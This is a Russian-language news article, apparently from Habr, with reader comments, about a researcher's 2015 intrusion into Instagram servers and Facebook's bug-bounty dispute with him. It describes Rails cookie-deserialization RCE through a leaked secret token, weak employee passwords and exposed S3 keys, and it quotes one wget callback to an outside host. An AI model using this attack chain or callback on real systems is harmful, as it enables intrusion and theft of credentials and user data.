Пользователь
102,0
рейтинг
19 декабря 2015 в 00:04

Разработка → Facebook угрожает специалисту по безопасности, взломавшему Instagram

Независимый специалист по безопасности Уэсли Вайнберг (Wesley Wineberg) подвергся серьёзному давлению со стороны компании Facebook. Она не заплатила за найденные уязвимости на сервере Instagram, да ещё угрожает судебным иском.

Уэсли обнаружил уязвимость в инфраструктуре Instagram, с помощью которой нашёл (и, возможно, скачал) практически всё ценное, что есть на серверах Instagram: исходный код последней версии, SSL-сертификаты и приватные ключи для Instagram.com, ключи для подписи куков аутентификации, учётные данные от почтового сервера и ключи для некоторых других продуктов, в том числе для подписи мобильных приложений под iOS и Android.



Вайнберг также получил доступ к аккаунтам сотрудников и их парольным хешам, некоторые из которых хакер взломал, и получил доступ к нескольким хранилищам (бакетам) Amazon S3 с пользовательскими фотографиями и другими приватными данными, которые вызывают подозрения в нарушении конфиденциальности пользователей со стороны Facebook.

Вся эта эпопея началась ещё в октябре с того, что коллега Вайнберга сообщил ему об открытом веб-сервере sensu.instagram.com, который работает на инстансе Amazon EC2 и крутит фреймворк для мониторинга Sensu. О баге с открытой админкой сервера в Facebook уже сообщили, но коллега намекнул, что заметил там баг с удалённым сбросом пароля в приложении Ruby on Rails (CVE-2013-3221), подробнее см. статью о способах атаки на Ruby on Rails.

Хакер предположил, что такую же уязвимость можно найти в другом коде Instagram. Он изучил их репозиторий на Github, но ничего такого не обнаружил. Но зато нашёл кое-что получше. В файле secret_token.rb на гитхабе был прошит секретный токен Rails. В статье по ссылке выше подробно описано, как с помощью такого токена не только сфабриковать сессионные куки, но и инициировать десериализацию сессионных куков в Rails, чтобы напрямую запустить удалённое исполнение кода.

Уэсли сконфигурировал локальный инстанс Rails и воспользовался эксплоитом, который лежит на гитхабе: rails-3.2.10-remote-code-execution.md, чтобы сгенерировать объект, который спрячет в куки.

Полученный объект он подписал секретным ключом от Sensu-Admin — и получил куки от Sensu-Admin. К радости исследователя, сервер принял куки, запустил десериализацию, подтвердил подпись и запустил на исполнение объект, спрятанный внутри.

Это была команда wget exfiltrated.com/test-instagram — и сервер sensu.instagram.com послушно обратился к хакерскому серверу, что явно указало на то, что эксплоит работает.

Имея на руках работающий RCE, хакер запустил удалённый шелл.



Получив полное подтверждение бага, 21 октября 2015 года Вайнберг сообщил о двух уязвимостях в Facebook, рассчитывая на вознаграждение. В своём блоге он вспоминает статью 2012 года в Bloomberg, где руководитель отдела безопасности Facebook рассказывает о своей программе вознаграждений за найденные уязвимости и говорит: «Если найдут баг на миллион долларов, мы выплатим его».

Чтобы доказать всю серьёзность бага, исследователь продолжил изучать содержимое сервера Instagram, в том числе скачал к себе локальную базу Postgres с информацией об аккаунтах 60 сотрудников и паролями, захешированными bcrypt. Такие хеши очень трудно подобрать: у хакера на компьютере брутфорс шёл со скоростью всего 250 попыток в секунду. На удивление, некоторые пароли оказались настолько лёгкими, что атака по словарю дала эффект уже через несколько минут.

  • Шесть паролей "changeme"
  • Три пароля совпадали с именем пользователя
  • Два пароля "password"
  • Один пароль "instagram"

Отойдя от шока, хакер выбрал один из паролей и залогинился в веб-интерфейс.



После этого он отправил в Facebook информацию о слабых пользовательских аккаунтах (22 октября).

Ожидая положенное вознаграждение от Facebook, специалист изучил содержимое конфигурационного файла /etc/sensu/config.json, там были ключевые пары от 82 контейнеров Amazon S3. Доступ был закрыт ко всем, кроме одного. Но в этом единственном контейнере он нашёл ещё одну ключевую пару, которая давала доступ ко всем 82-м остальным контейнерам.

Facebook оперативно отреагировал, спрятал сервер Sensu за файрвол и 16 ноября выплатил вознаграждение $2500 за первый из трёх багов. В то же время 28 октября Вайнберг получил письмо, где ему отказали в выплате вознаграждения за второй и третий баги, потому что уязвимость со слабыми пользовательскими аккаунтами «выходит за рамки действия программы вознаграждения за уязвимости».

Разумеется, специалист немного обиделся. Получить всего $2500 за уязвимость с удалённым исполнением кода — это почти оскорбительно мало. Он опубликовал в своём блоге описание взлома и несколько почтовых писем из переписки с отделом безопасности Facebook.

После этого ситуация начала накаляться. Директор по безопасности Facebook Алекс Стамос позвонил директору компании Synack, с которой Вайнберг работает по контракту. Он сказал, что произошёл несанкционированный доступ к базе данных сотрудников Instagram и конфиденциальной информации пользователей. Эта информация должна быть немедленно удалена. Стамос сказал, что не хочет сообщать юристам об инциденте, но в случае необходимости процесс против Вайнберга будет запущен.

В ответ на сообщение в блоге специалиста по безопасности Алекс Стамос тоже опубликовал заявление, где назвал действия хакера «неавторизованными и неэтичными». Он также предположил, что Вайнберг недоволен низким размером вознаграждения — этим объясняется его поведение.

В то же время специалист подтвердил, что удалил все данные, полученные с сервера S3 и никому их не показывал. Он добавил, что на инстаграмовском хостинге могли остаться другие незакрытые уязвимости. Но похоже на то, что миллион долларов ему так и не заплатят.
Анатолий Ализар @alizar
карма
744,5
рейтинг 102,0
Пользователь
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (49)

  • –23
    Facebook угрожает специалисту по безопасности, взломавшему Instagram

    Простите коль чего недопонял, но звучит это как в том анекдоте: «Странно… Му-Му вроде как написал Тургенев, а памятник почему-то поставили Чехову»
    • +30
      Instagram является частью/принадлежит Facebook
      • +10
        Oops… Тогда прошу прощения.
  • +3
    Красиво… Странно, что они старую админку использовали, она уже давно не развивается и заменена на uchiwa.
  • –5
    Меня во всей этой истории удивляет не реакция компаний, а реакция «исследователей».

    Давайте отвлечёмся от админок, паролой и прочего. И поговорим… ну скажем про заводы.

    Вася посмотрел на двери проходной на нефтезаводе, обнаружил, что там используется замок фирмы «ДыркиНашеВсё», отрывающиеся зубочисткой и сообщил об этом дирекции завода.

    Петя, обнаружив на дверях для транспорта точно замки той же фирмы подождал, пока за очередным бензовозом не закроется дверь, прошёл в комнату управления персонала, снял слепки ключей всех сотрудников и, уйдя к себе домой, написал об этом администации.

    Вопрос: почему Вася получил вознаграждение в 100 рублей «за бдительность», а Пете грозит срок в несколько лет?

    Одно дело — обнаружить уязвимость и совсем другое — обнаружив её начать играть «в сыщиков» на территории «режимного предприятия». Ну есть же разница, чёрт побери.

    Почему люди считают что вещи, за которые в «реальном» мире дают срок «в виртуальном» должны поощраться?
    • +16
      Напоминает рассказ про солонку.

      С другой стороны, он не нанес прямого вреда, разве что по репутации и то среди айтишников.

      Сервисы такой популярности не должны иметь известных неисправленных уязвимостей. И он правильно сделал, что показал, насколько все плохо и что можно было бы сделать, имей он другие цели.
    • +38
      Потому что в данном случае есть проблема: на двери проходной висит листочек А4: «Разрешаем искать уязвимости, если найдёте — тут же сообщайте. Ничего не красть!».

      Вася обнаружил, что замки «ДыркиНашеВсё» никуда не годятся — хорошо. Петя прошёл через проходную и продолжил искать уязвимости. Нигде не написано, что после первой же уязвимости нужно остановиться! Это выясняется уже пост-фактум. Также пост-фактум выясняется и то, что сделать слепки ключей и выяснить, что часть из них — это тупо крестовые отвёртки разного размера, — это нарушение приватности. В листочке об этом не было написано. Было написано «не красть» — и Петя всё-таки не преступник, он ничего не украл.
      • +4
        Ещё Петя привёл в сравнение подобный листок с проходной другого завода, молочного.
        Там было написано: «Можно искать уязвимости. Ничего не красть и не ломать. Например, в качестве доказательства вы можете сфотографировать внутренности электрощитка, но запрещено что-либо в нём щёлкать!».
        Петя пытался узнать мнение администрации первого завода на счёт того, как далеко можно заходить, но в ответ ничего не получил.
      • –6
        На заборе тоже "..." написано. А в УК есть статья: «несанкционированный доступ на режимное предприятие». Вот Пете теперь и предстоит доказывать в суде с этим листочком в руках, что он не виноват, и его самого туда позвали. Прокурор может заявить, что в УК ничего не написано насчет исключений из закона, которые даются какими-то листочками А4.

        Сколько уже таких историй было, когда нашедшим уязвимости не платили, платили мало или вообще с ходу угрожали преследованием. Все больше убеждаюсь, что объявления о вознаграждениях за уязвимости — это неблагодарная замануха. Особенно когда конкретный размер вознаграждения не оговаривается. К примеру, вы ведете с фирмой переговоры о размерах вознаграждения. Какая мотивация для фирмы соглашаться на более высокую сумму, если вы уже передали ей всю необходимую им информацию?

        Думаю, лучше или хакерствовать в свою пользу, или заниматься поиском уязвимостей профессионально, или вообще не связываться с этим.
        • +11
          Думайте. Но баунти программы существуют и они легальны (иначе бы таких программ не было, правда?). Поэтому ваша аналогия с УК и режимным объектом тут неприменима.

          Какая мотивация платить больше? Тупо чтобы в следующий раз не продали информацию об уязвимости на чёрный рынок, дыр-то много. Фирмам намного выгоднее привлекать white hats достойной оплатой, чем попадать на порядок бóльшие бабки, разгребая последствия того, что уязвимостью воспользовались не те люди.
        • +3
          «несанкционированный доступ на режимное предприятие»

          Но как только предприятие публикует bug bounty, то доступ сразу становится санкционированным, ведь верно?
  • +9
    Эх фейсбук… Проще ему было родить, чем получить миллион за найденные уязвимости
  • 0
    Вайнберг какой-то Хайзенберг.
  • +21
    Парни из ФБ повели себя очень странно заплатив 2.5к за удаленное исполнение кода, и 12.5к за возможность лишь удалять любое фото в сети по ссылке (http://timesofindia.indiatimes.com/tech/tech-news/Facebook-pays-Indian-12500-for-finding-photo-deleting-bug/articleshow/46233195.cms)
  • +14
    Согласно написанному здесь
    Уэсли нашёл уязвимость в инфраструктуре Instagram, с помощью которой скачал практически всё ценное, что есть на серверах Instagram: исходный код последней версии, SSL-сертификаты и приватные ключи для Instagram.com, ключи для подписи куков аутентификации...
    герою сюжета действительно могло бы светить наказание за кражу данных, но все-таки в оригинале автор говорит следующее
    I avoided downloading any content from those buckets.
    что как бы не одно и тоже. Между «Зашел в помещение, порылся в шкафу, снял копии уставных и прочих важных документов и ушел. После угроз судебным делом сжег все копии» и «Заглянул, убедился, что двери и шкафы открыты и ушел, не взяв ничего» разница принципиальная.
    • 0
      Эта тонкая грань между белыми и черными…
    • 0
      Какая принципиальная разница между «посмотрел» и «снял копию»?
      • 0
        В том, что после того, как просто "посмотрел", что есть доступ к ключам и сертификатам, ими, без копирования, затруднительно воспользоваться.
  • +1
    А раньше ради миллиона долларов грабили банки (кино) :)
    • +12
      И сейчас грабят банки. Только через интернет, в трусах и не вставая с дивана.
  • –2
    Только публичные расстрелы! Ой, то есть отзыв текущего статуса, полученного при предыдущем аудите безопасности и публичный разбор почему уязвимости не закрыты.
  • +62
    Молодцы, что сказать…
    В следующий раз хакеры будут знать, что лучше слить дыру на черном рынке, чем пытаться получить адекватное вознаграждение. И выгоднее и безопаснее.
  • 0
    там были ключевые пары от 82 контейнеров Amazon S3. Доступ был закрыт ко всем, кроме одного. Но в этом единственном контейнере он нашёл ещё одну ключевую пару, которая давала доступ ко всем 82-м остальным контейнерам.

    Очень подозрительно. Попахивает подставой.
  • –5
    Жаль, что в СМИ форсируют версию, что это Facebook виноват (видимо, в борьбе за рейтинги).
    Любой багхантер почитав ответ от FB — www.facebook.com/notes/alex-stamos/bug-bounty-ethics/10153799951452929?pnref=story поймет, что это Wes взял на себя слишком много.
    По своему опыту скажу, не согласен с суммой (в оригинале пишут вообще, что это был дубль) — просто обсуди. Не раз бывало, что суммы после обсуждения увеличивались в 2-3 раза. Он, вроде, писал по этом поводу вопрос, но не стал дожидаться ответа и уже нарушил рамки допустимого.
    • +6
      Как понял лично я, к Фейсбуку две претензии:

      1) Каковы они, эти рамки допустимого? Вес вёл себя в рамках, описанных самим Фейсбуком. О том, что в реальности рамки ýже, выяснилось пост-фактум.

      2) Фейсбук не пытался связаться с Весом и донести, что он зашёл далеко — компания сразу же начала косвенно угрожать, позвонив работодателю. И потом они говорят «ну, это был наиболее мягкий вариант из рассматривавшихся».
      • –3
        1) Об этом сказано прямым текстом в правилах — www.facebook.com/whitehat,
        2) Чувак нагло сливал базу и брутил хэши, это прямое нарушение правил (это понятно любому). И уже попадает под заведение дела под него, все логично.
        • +5
          As a researcher on the Facebook program, the expectation is that you report a vulnerability as soon as you find it. We discourage escalating or trying to escalate access
          1) Будете любезны процитировать прямой текст в правилах, где об этом написано?
          2) То же самое касаемо слитых данных (я думаю, это важно — инфраструктурных данных. Пользовательские данные, как говорит чувак, он не трогал. Т.е. в моём понимании user privacy не нарушена).
          3) Вот с брутфорсом хэшей — да, непонятно. С одной стороны, в этом не было никакой необходимости. С другой стороны, это пароли персонала, а не пользователей. Я не уверен, что сюда подходит user privacy policy, которой прикрывается Фейсбук.
          • +2
            Вот с брутфорсом хэшей — да, непонятно.

            По-моему, все логично. Black-hat обязательно сделал бы это, чтобы получить доступ к аккаунтам. White-hat сделал это, чтобы выяснить, насколько легко получить доступ к аккаунтам, и выяснил, что это чрезвычайно легко, т.е. нашел ту дыру, через которую смог бы проникнуть злоумышленник. Не вижу, из каких соображений он должен избегать этого шага.
        • +3
          2) А ещё выясняется, что безопасник Фейсбука немного привирает в своём блоге, рассказывая об инциденте. Зачем?
          • 0
            Wes просто не стал ждать ответа и поддался эйфории, быстрее стараясь разломать все подряд.
            ФБ нормально платит, лично знаю случай и $15k за XSS. И ФБ всегда платит много выше, чем в среднем по рынку.
            Единственный момент мне непонятный, почему написано, что ему заплатили 2500 (написано — за дубль), когда за дубли вообще не платят. И если это дубль — почему не был исправлен к этому моменту.
            • –1
              Не стал ждать ответа — да. Но будем объективными, разломать — нет.

              Ему не заплатили. Пока что они только сказали, что он может рассчитывать на $2,500.

              Вес написал, что выплата делится с его другом, который изначально обнаружил сервер. Ну и Facebook states 'typically only reward the first researcher to report a valid issue to us through the bounty program, but in this case, we well be paying for related reports with different information that helped us track down and fix this issue.'
              • 0
                Ну как нет то? Тащить амазон ключи, где хранится приватный контент пользователей, брутить хэши админов и т.п.
                Вообще этот случай давно обсудили в «багхант» сообществах и все придерживаются стороны ФБ. Адекватно надо оценивать свои действия.
                Никто себе подобного не позволял и сначала думал и спрашивал вендора. А Wes технически молодец, но не более.
                • 0
                  У вас какие-то свои отдельные «багхант сообщества». Не видел на просторах ни одного мнения за действия ФБ и Стамоса в частности. Все мнения сходятся в одном, что а) Уэсли действовал нагло и грубо, но в рамках опубликованных на тот момент правил, и б) Стамос повёл себя как мудак. Вы просто завидуете, что чувак оказался настолько дотошным и удачливым.
                  • 0
                    О не, вот кому кому, ему точно сейчас не позавидуешь. Не хотел бы я быть на его месте.
                    В этом мнении сходятся в российских СМИ, но не на Западе, в обсуждениях в твиттере и разных чатах. Может «мои сообщества» и отдельные, но состоят они из тех, кто также находит, репортит и постоянно получает реварды от различных вендоров.
  • –1
    Это не баг, это фича.

    Скорее всего, они не признают эти баги потому, что подставит под сомнения защищенности сервера самого Facebook, а так будут отпираться, говорить все все ОК.
  • +14
    Если это не уязвимость на миллион, то я не знаю что такое уязвимость на миллион.
    • +6
      Наверно незапароленный и открытый phpmyadmin
    • +9
      Когда уязвимость позволяет вам снять со счета 1 млн. и уйти незамеченным.
  • +5
    Я полностью солидарен с Вайнбергом: чтобы довести дыру в безопасности, нужно продемонстрировать успешную кражу. Иначе все и окончится на 2500 долларах.

    Да и реакция фейсбук очень медленная — этот случай должен дать им своеобразный пинок с порцией люлей, чтобы не забывали о том, что они не единственные в мире ухватили Б-га за бороду.

    Все правильно сделал.
    • 0
      Его за то, что он просто посмотрел сажать хотят, а тут идут предложения украсть миллион… Сильно, однако :)
  • +2
    Это уже не просто пробой «кода»
    Это ошибка архитектуры, вот почему FB так «ревностно» отреагировал
    Поставить заплатку на код — это тривиальное дело. А вот архитектуру «залатать»… это 3.14
    • 0
      Подробне плз. Где вы видите пробему в архитектуре в данном случае?
      Я вижу проблему 1) секретній ключ в коде на гитхабе и 2) открітій сервер
      • 0
        Чувствительная информация задаётся в коде приложения — проблема архитектуры приложения

        Обладание этой чувствительной информацией позволяет запустить на выполнение произвольный код — очень большая проблема архитектуры приложения

        • 0
          Это не арх проблема, а ошибка с деплой конфигами.
          Даже если и правда в коде, то вынести пароль в конфиг дело 10 минут.
          • 0
            Какая разница в исполняемом коде или в конфиге, если всё равно лежит в каталоге проекта?
            • 0
              А куда вы кладете пароли?
            • +1
              ?
  • 0
    Да, 2500 это маловато для такой уязвимости.
  • 0
    Хорошо бы ответный иск к ФБ за нарушение публичной оферты!
    Дорого это только там, но может какой юрист бы и взялся за % от будущей суммы.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.